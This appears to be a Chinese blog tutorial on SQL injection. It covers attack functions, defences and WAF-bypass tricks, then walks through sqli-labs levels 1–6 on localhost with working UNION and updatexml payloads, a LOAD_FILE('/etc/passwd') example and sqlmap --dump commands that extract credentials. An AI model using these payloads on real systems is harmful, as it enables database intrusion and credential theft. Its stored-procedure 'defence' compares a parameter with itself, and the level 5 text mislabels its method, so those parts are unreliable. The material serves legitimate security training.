【无标题】

(一)SQL注入

(1)SQL注入原理

SQL 注入(SQL Injection)是一种攻击技术,攻击者通过将恶意 SQL 代码插入到应用程序的输入字段或查询中,从而操控后端数据库。其原理可以分为以下几个步骤:

1.输入数据污染:攻击者在应用程序的输入字段(如登录框、搜索框、表单等)中插入恶意 SQL 代码。这些输入数据可能会被应用程序传递到数据库查询中。

2.构造恶意查询:攻击者利用输入的数据对 SQL 查询进行篡改。例如,在一个简单的 SQL 查询中,攻击者可以插入额外的 SQL 语句,或者改变查询逻辑。

示例:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者输入:
admin' OR '1'='1

改变后的查询:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'password';

这里 ‘1’=‘1’ 是一个始终为真的条件,它使得查询始终返回结果,从而绕过了密码验证。

3.执行恶意查询:应用程序将篡改后的 SQL 查询发送到数据库执行。由于查询包含了攻击者的恶意代码,数据库执行时会按照攻击者的意图操作数据。

4.获取敏感信息:成功的 SQL 注入攻击可以导致泄露敏感数据(如用户凭证、个人信息),修改或删除数据库中的数据,甚至控制整个数据库服务器。

5.后果和利用:攻击者可以进一步利用注入漏洞获取系统的控制权、窃取用户数据、注入恶意代码等。

(2)SQL注入常用函数及含义

在 SQL 注入攻击中,攻击者常使用一些函数来获取数据库信息、绕过验证、或执行恶意操作。以下是一些常见的 SQL 注入函数及其含义:

UNION SELECT:用于将两个或多个 SELECT 语句的结果合并。攻击者可以用它来从其他表中获取数据。
例如:
UNION SELECT username, password FROM users

OR 1=1:用于创建一个始终为真的条件,从而绕过身份验证。例如:
’ OR ‘1’='1

AND 1=1:用于测试是否能修改查询逻辑以返回所有记录。例如:
’ AND ‘1’='1

BENCHMARK():用于测量查询的执行时间,通常用于延时注入攻击(基于时间的盲注)。例如:
BENCHMARK(1000000, MD5(‘test’))

SLEEP():用于让数据库查询暂停指定的时间,用于延时注入攻击。例如:
SLEEP(5)

LOAD_FILE():用于读取服务器上的文件内容。攻击者可以利用它读取敏感文件。例如:
LOAD_FILE(‘/etc/passwd’)

CONCAT():用于连接多个字符串。在注入中常用来组合多个数据片段。例如:
CONCAT(username, ‘:’, password)

SUBSTRING():用于提取字符串的子串,常用于盲注中获取数据。例如:
SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

这些函数和技巧可以帮助攻击者在 SQL 注入攻击中提取数据、绕过安全检查或执行恶意操作。

version() Mysql版本
user() 数据库用户名
database() 数据库名
system_user() 数据库用户名
session_user() 连接数据库的用户名
current_user() 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统版本

information_schema 自带数据库
information_schema.schemata 数据库
information_schema.tables 数据表
information_schema.columns 数据列
floor() 返回小于等于该值的最大整数
RAND() 在0和1之间产生一个随机数
join() 实现表的连接

length(str) : 返回给定字符串的长度,如 length(“string”)=6

substr()、stbstring()、mid() :三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,'',str2):将字符串str1和str2的数据查询到一起,中间用连接

group_concat(username) :将username所有数据查询在一起,用逗号连接

limit 0,1:查询第1个数 limit 1,1:查询第2个数

order by 4 – 判断有多少列

union select 1,2,3 – 判断数据显示点

union select 1,user(),database() – 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 – 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’ ),3 – 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 – 查看账号密码信息

(3)SQL注入防御手段

防御 SQL 注入(SQL Injection)攻击的关键在于正确处理和过滤用户输入、确保应用程序和数据库的安全。以下是一些有效的防御手段:

使用参数化查询(Prepared Statements):
原理:通过将 SQL 查询和参数分开,确保用户输入不被直接嵌入到 SQL 查询中,从而避免 SQL 注入。

示例(使用 Python 和 SQLAlchemy):
from sqlalchemy import text
result = connection.execute(text("SELECT * FROM users WHERE username = :username"), {'username': user_input})

使用存储过程(Stored Procedures):
原理:存储过程在数据库中预先定义好,应用程序只需调用存储过程而不直接构造 SQL 查询。虽然不完全免疫 SQL 注入,但比直接拼接查询更加安全。

示例:
CREATE PROCEDURE GetUserByUsername(IN username VARCHAR(255))
BEGIN
  SELECT * FROM users WHERE username = username;
END;

输入验证和过滤:
原理:对所有用户输入进行严格验证,确保输入符合预期格式,防止恶意数据进入系统。
示例:仅允许字母、数字和特定字符的输入,拒绝非法字符。

使用 ORM 框架:
原理:对象关系映射(ORM)框架通过封装 SQL 查询,减少直接操作 SQL 的机会,从而降低 SQL 注入风险。

示例(使用 Django ORM):
user = User.objects.get(username=user_input)

最小权限原则:
原理:数据库用户仅拥有执行必要操作的权限,避免给予过多权限,从而降低注入攻击的风险。
示例:仅允许应用程序用户对特定表进行读取或写入操作,而不是对整个数据库有全权限。

错误处理:
原理:避免将详细的数据库错误信息暴露给用户,以免攻击者通过错误信息获取敏感数据。
示例:使用通用错误页面,记录详细错误信息到服务器日志中。

使用 Web 应用防火墙(WAF):
原理:Web 应用防火墙可以监控和过滤 HTTP 请求,识别和阻止潜在的 SQL 注入攻击。
示例:配置 WAF 规则来检测和阻止异常的查询模式或恶意输入。

定期安全测试和代码审计:
原理:通过定期进行安全测试(如渗透测试)和代码审计,及时发现和修复潜在的 SQL 注入漏洞。
示例:使用工具如 OWASP ZAP 进行自动化扫描,结合手动测试。

更新和补丁:
原理:定期更新数据库管理系统(DBMS)、框架和库,应用最新的安全补丁,以防止已知的漏洞被利用。
示例:确保所有软件组件保持最新版本,特别是与数据处理相关的部分。

通过综合运用这些防御手段,可以有效减少 SQL 注入攻击的风险,保护应用程序和数据库的安全。

(4)SQL注入常用绕过waf的方法

编码和转义:利用 URL 编码、十六进制编码等方式将恶意 payload 伪装成正常字符。比如,将 SELECT 编码为 %53%45%4C%45%43%54。

分隔符混淆:使用不同的 SQL 注释语法(如 // 或 --)来绕过检测。例如,将 SQL 注入语句中的分隔符用注释包裹起来。

布尔盲注:通过布尔逻辑操作(如 AND 1=1)来判断系统响应,逐步推断出数据库信息。

联合查询(UNION):使用 UNION 操作符将注入的数据与原查询结果合并,绕过过滤。

SQL 函数:利用数据库内置函数(如 CHAR()、CONCAT())来构造恶意查询,绕过简单的关键字检测。

延时注入:通过引入延时函数(如 SLEEP())使数据库响应时间延迟,测试是否存在注入点。

绕过字符集:使用不同的字符集(如 UTF-8 和 ASCII)混淆恶意 SQL 代码。

分片注入:将注入 payload 分割成多个部分,通过多个请求发送,合并后再执行。

替代字符:使用数据库的替代字符(如 @ 替代空格)或拼写变体绕过检测。

了解这些绕过技巧可以帮助你更好地设计和测试防护措施。

(二)sqli-labs通关前五关

Level 1

提示你输入数字值的ID作为参数,我们输入?id=1
在这里插入图片描述通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
在这里插入图片描述
输入?id=1’,?id=1’–+判断sql语句是否是拼接,且是字符型还是数字型
在这里插入图片描述
在这里插入图片描述
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

在这里插入图片描述
在这里插入图片描述
到4报错,说明有三列
爆出显示位,可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

在这里插入图片描述
获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

在这里插入图片描述
下一步爆表
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
爆字段名,查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
看到了password和username!接下来我们就要得到该字段对应的内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

Level 2

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入
在这里插入图片描述
在这里插入图片描述
跟第一关一样,联合查询判断列数

?id=1 order by 3

在这里插入图片描述
爆出显示位

?id=-1 union select 1,2,3

在这里插入图片描述

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

在这里插入图片描述

爆字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述
爆出账户和密码

?id=-1 union select 1,2,group_concat(username ,id , password) from users

在这里插入图片描述

Level 3

当我们在输入?id=2’的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑闭合括号。
在这里插入图片描述
闭合单引号和括号

?id=2')--+

在这里插入图片描述
接下来思路和一二关类似
判断列数

?id=1') order by 3--+

在这里插入图片描述
爆出显示位,版本号,爆表,爆字段名,爆出账户和密码

?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

Level 4

输入?id=1’,?id=1"根据页面报错信息得知sql语句是双引号字符型且有括号
在这里插入图片描述
在这里插入图片描述
爆出显示位
在这里插入图片描述
根据前几关的经验,直接输入一个

?id=-1") union select 1,2,group_concat(username,"-",id,"-",password) from users --+

在这里插入图片描述

Level 5

加入参数?id=1’,判断闭合方式为单引号闭合
在这里插入图片描述
在这里插入图片描述
根据页面结果得知是字符型但是和前面四关还是不一样,是因为页面虽然有东西但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

输入长度为7时有回显,输入8无回显,说明长度为7
在这里插入图片描述
在这里插入图片描述
爆库名:

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

在这里插入图片描述
爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

在这里插入图片描述
发现只有1列 加入参数,

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

在这里插入图片描述
爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

在这里插入图片描述

爆出数据:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

在这里插入图片描述

(三)SQLI手工注入步骤

判断是否存在注入点:
○ 注入攻击的第一步是确定目标页面是否存在 SQL 注入漏洞。通常,攻击者会在 URL 或表单参数后插入 ’ 或其他 SQL 特殊字符(如 --、#)来测试目标页面是否报错或产生异常行为。
○ 示例:http://127.0.0.1/page?id=1’。

判断字段数量:
○ 通过使用 ORDER BY 语句来确定数据库查询中使用的字段数量。攻击者会依次递增字段数量,直到出现错误,表示字段数量超出范围。
○ 示例:在注入点后添加 ORDER BY 1–+,ORDER BY 2–+,依此类推,直到页面不再正常显示。

判断字段前端回显位置:
○ 使用 UNION SELECT 查询来测试哪些字段的值会返回并显示在前端页面上。这些可见的字段将用于进一步的注入攻击。
○ 示例:UNION SELECT 1,2,3,4,5,6,7,8,9,10–+,如果页面显示了 3 和 5,表示这些字段可以被渲染。

判断数据库信息:
○ 利用内置函数(如 version()、database()、user())来获取数据库的基本信息。这些函数可以帮助攻击者了解目标数据库的版本、当前使用的数据库和用户信息。
○ 示例:UNION SELECT 1, version(), 3, 4–+。

查找数据库名:
○ 通过查询 information_schema 数据库中的 schemata 表,可以找到所有可用的数据库名。
○ 示例:UNION SELECT group_concat(schema_name) FROM information_schema.schemata–+。

查找数据库表名:
○ 一旦知道数据库名称,就可以进一步查询该数据库中的所有表名。攻击者通过 information_schema.tables 表进行查询。
○ 示例:UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=‘database_name’–+。

查找列名:
○ 查找到特定表名后,攻击者可以列出表中的所有列名。这可以通过查询 information_schema.columns 表来实现。
○ 示例:UNION SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=‘table_name’–+。

查数据:
○ 通过知道表名和列名,攻击者可以使用 UNION SELECT 注入来获取实际的数据。
○ 示例:UNION SELECT 1, (SELECT group_concat(column_value) FROM table_name), 3, 4–+。

注释符号的使用
● --+ 注释:
○ 在 SQL 中,-- 是单行注释的开始符号,后面必须跟一个空格才能生效。在某些场景中,–+ 这样的形式被用来绕过过滤规则,因为它添加了一个空格字符(+ 被解释为空格)以确保注释符生效。
○ 在注入场景中,–+ 比 – 更安全,可以确保注释掉后面的任何内容。

防御机制绕过
● 绕过 SQL 注入防御:
○ 使用不同的编码方式、空格替代、逻辑运算符混淆等方法来绕过常见的防火墙和过滤器。

(四)使用sqlmap通关第六关

直接使用

python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-6/?id=1" --batch

在这里插入图片描述
扫描结果,存在注入点:
在这里插入图片描述
获取数据库

python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs

在这里插入图片描述
在这里插入图片描述
获取表名

python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security --tables

在这里插入图片描述
获取列

python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users --column

在这里插入图片描述
获取数据

python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users -C username,password --dump

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值